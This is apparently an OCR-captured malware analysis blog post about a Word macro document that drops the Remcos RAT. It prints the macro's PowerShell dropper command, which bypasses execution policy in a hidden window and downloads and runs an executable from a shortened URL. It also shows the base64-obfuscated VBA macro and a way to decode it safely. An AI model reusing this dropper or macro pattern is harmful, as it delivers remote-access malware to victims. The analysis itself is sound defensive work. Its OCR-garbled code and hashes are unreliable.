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Remcos RAT Macro Dropper Doc

Overview

e Sample & more info

e Password to the zip file is infected

e First seen: May 27, 2020

e url no longer up

 File type: docm

e Sha256 hash: 202d979d74f0478de0fbeal03e2585a84fdab5646ad19437f5e4c4balcda7b90
o url used was: hxxp://185.205.209.166/dkkp/qlyzbsuu.al2.exe & shortened via tinyurl

e Macros used

Analysis

Once opened, the document looks like this:
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https://bazaar.abuse.ch/sample/202d979d74f0478de0fbea103e2585a84fdab5646ad19437f5e4c4ba0cda7b90/
https://pastebin.com/raw/T9YNjDpD
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mal.docm - Word Sign in Eal
File Home Insert Design Layout References Mailings Review Wiew Developer Q Tell me what you want to do
e : Aa Az [= EH | b€ Desi
j D]-_r ? Recard Macro .’ ﬂ.ﬁ P 3 fa = 53 | B4 Design Mode E D
B B EF
Wisual Macros Add-  Word  COM _ XML Mapping Restrict | Document
: -
Basic ! Macro Security ins  Add-ins Add-ins ’—_|ﬂ =i Pane Editing Template
Code Add-ins Controls Mapping Protect Templates
o PRODUCT NOTICE Word hasn't been activated. To keep using Word without interruption, activate before Saturday, June 27, 2020. Activate
naOffice

Anantiond To wiaw this document, phease Tum on fe Eat mode
ana Macroses!

In my opinion, not much work was put into crafting the actual document, but who am I to judge?
When you enable content, you'd get this error message:

&4 C:\Users\conduct\AppData\Local\ Temp\Filename.exe ==

| Windows cannot find 'C:\Users\conduct\AppDataiLocal\ Temp\Filename.exe’. Make sure you
" typed the name correctly, and then try again.

This isn't a makeshift error message crafted by the attacker as a social engineering tactic (as I did here ;)_) but
rather an actual error message since the file they attempt to download & execute (named Filename.exe) doesn't

actually download.

After enabling content & letting the macros run, we open Procmon's process tree & we can see that powershell is

used to attempt to drop the main malware (ignore all the notepad.exe noise, that was all generated by me):
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= ﬂ"u’l}INWOHD.EXE (2388) [Microsoft Waord C:Program Files... Microsoft Corporat... conc
> powershell.exe (2308)  Windows PowerS... C:\Windows'\Syst... Microsoft Comparat... con

= M: rundll 32 exe (968) Windows host pro... C\Windows'syst... | Microsoft Corporat... conc
W MOTEPAD EXE (3568) |MNotepad C\Windows syst. .. I Microsoft Corporat... cone
Motepad C\Windows'syst ... _ Microsoft Corporat... cone 3

Motepad C\Windows syst. .. Il'u'licmsuﬂ Corporat... conc

" notepad exe (3448)

' 1 | Pod 1 | 3

Description:  Windows Powershell

Company:  Microsoft Corporation

Path: C:\Windows\System32\WindowsPowerShell Yy 1.0\powershell. exe

Command: powershell.exe -executionpaolicy bypass -W Hidden -command (new-object System.Met.V
Lser: conduct-PCiconduct

PID: 2308 Started: 6,/22/2020 10:09:18 PM
Exited:  6/22/2020 10:09:30 PM

Go To E'u'ent] [ Indude Process ] [ Indude Subtree Close

The full powershell command used by the macro is here:

powershell. exe -executionpolicy bypass -W Hidden -command (new-object
System. Net.webClient). DownloadrFile( " http://tinyurl. com/ybzdnmyg",
$env:Temp+ ' “Filename.exe'); (New-0Object -com
shell.application).shellexecute($env:Temp+ "Filename. exe’)|

As we can see, it executes it in a hidden window & uses the bypass flag in order to bypass any protections a user
has set up in order to prevent execution of unauthorized scripts (I may be incorrect, but I believe this method only

works if the user is running with admin level privileges).

The powershell also drops the file to disk & saves it in the Temp directory as Filename.exe as we seen earlier &

then executes it.

The url used is hxxps://tinyurl.com/ybz4nnyg. Tinyurl is a url shortener which will redirect to the main website.
Attempting to navigate to this tinyurl yields no response, which likely means whatever site this malware was

hosted as has since been taken down.
The final payload that would've been grabbed if the url was still up would be the Remcos RAT

My claim of the URL no longer being up is backed by the powershell logs:
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ps=CommandInvocation(out-5tring): "out-string”

>> ParameterBinding(out-strin name="InputObject”; value="Exception calling "DownloadFile” with "2" argument(s): "The

remote name could not be reso?ved: "tinyurl.com’
T

At line:1 char:1
+ (new-object system.Net.webClient).DownloadrFile( "http://tinyurl.com/yb ...
+

+ CategoryInfo : Notspecified: (:) [], MethodInvocationeException
+ FullyqQualifiederrorIid : webException
Exception calling "DownloadrFile” with "2" argument(s): "The remote name could not be resolved: 'tinyurl.com™"”

At Tine:1 char:1
+ (new-object System.Net.webClient).DownloadrFile( http://tinyurl.com/yb ...
e

+ CategoryInfo : Notspecified: (:) [], MethodInvocationeException

+ Fullygualifiederrorid : webException
Exception calling "DownloadrFile” with "2" argument(s): "The remote name could not be resolved: 'tinyurl.com™"”

At Tine:1 char:1
+ (new-object system.Net.webClient).DownloadrFile( "http://tinyurl.com/yb ...
e

If you wish to receive the powershell code without actually running it the way the attackers intended, simply edit

the code and delete the Shell() command & add in a variable, then print that variable in a message box:

Before:

[ M Public Sub Document Open()

Dim asdas As S5tring

asdas = sadsad ("YOFCAdkFIYOFaUUJ5QUhNOWFEQmxBR3IABYkFEAUFHVUF1QUJ=QUNEQUxROMxBSGABW1FCakFIVOFEQUT
Shell (sadsad(asdas, True))

End Sub

After:

| J@Public Sub Document Open/()

Dim a=da=z A= String

asdas = sadsad ("YOFCdkFIYOFaUUJSQUANQWFEQmxEBR3dBYKFEAUFHVUFLQUIsQUNEBQURRQmxBSGAdEW1FCakFIVUF QU Iy
var = (sadsad(asdas, True))

M=gBox wvar

End Sub

Result after running:

= mal.docm - Word

File Home Insert Design Layout References Mailings Review View Developer Help Q Tell me what you want to do

D_ 2 Record Macro ’ e = Aa fa (= BB gDesign Maode @ D
\J Lr o I g B E _J

: R : :

Wisual Macros Add- Word  COM XML Mapping Restrict | Docurnent

Basic ! Macro Security ins  Add-ins Add-ins ’—_|ﬂ =i Pane Editing Template
Code Add-ins Contrals Mapping Protect Templates
o PRODUCT NOTICE Word hasn't been activated. To keep using Word without interruption, activate before Saturday, June 27, 2020. Activate x
Microsoft Word @

powershell.exe -executionpolicy bypass -W Hidden -command (new-object
Systern.MNet.WebClient). DownloadFile( http://tinyurl.com/ybz4nnyg', Senv:Ternp+
“\Filename.exe');(New-Object -com

Shell. Application).ShellExecute(Senv: Temp+"\Filename.exe’)
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NOTE: The reason Shell is called on a variable + a function is because the command passed to Shell is base64
encoded twice & needs to be decoded twice before being ran. So the variable asdas contains the command after
it's decoded once and then when Shell is called as Shell(sadsad(asdas, True)) is when the command is decoded the
second time. Basically the function sadsad() is responsible for doing the base64 decoding. I hope this makes

sense. Thanks for reading!
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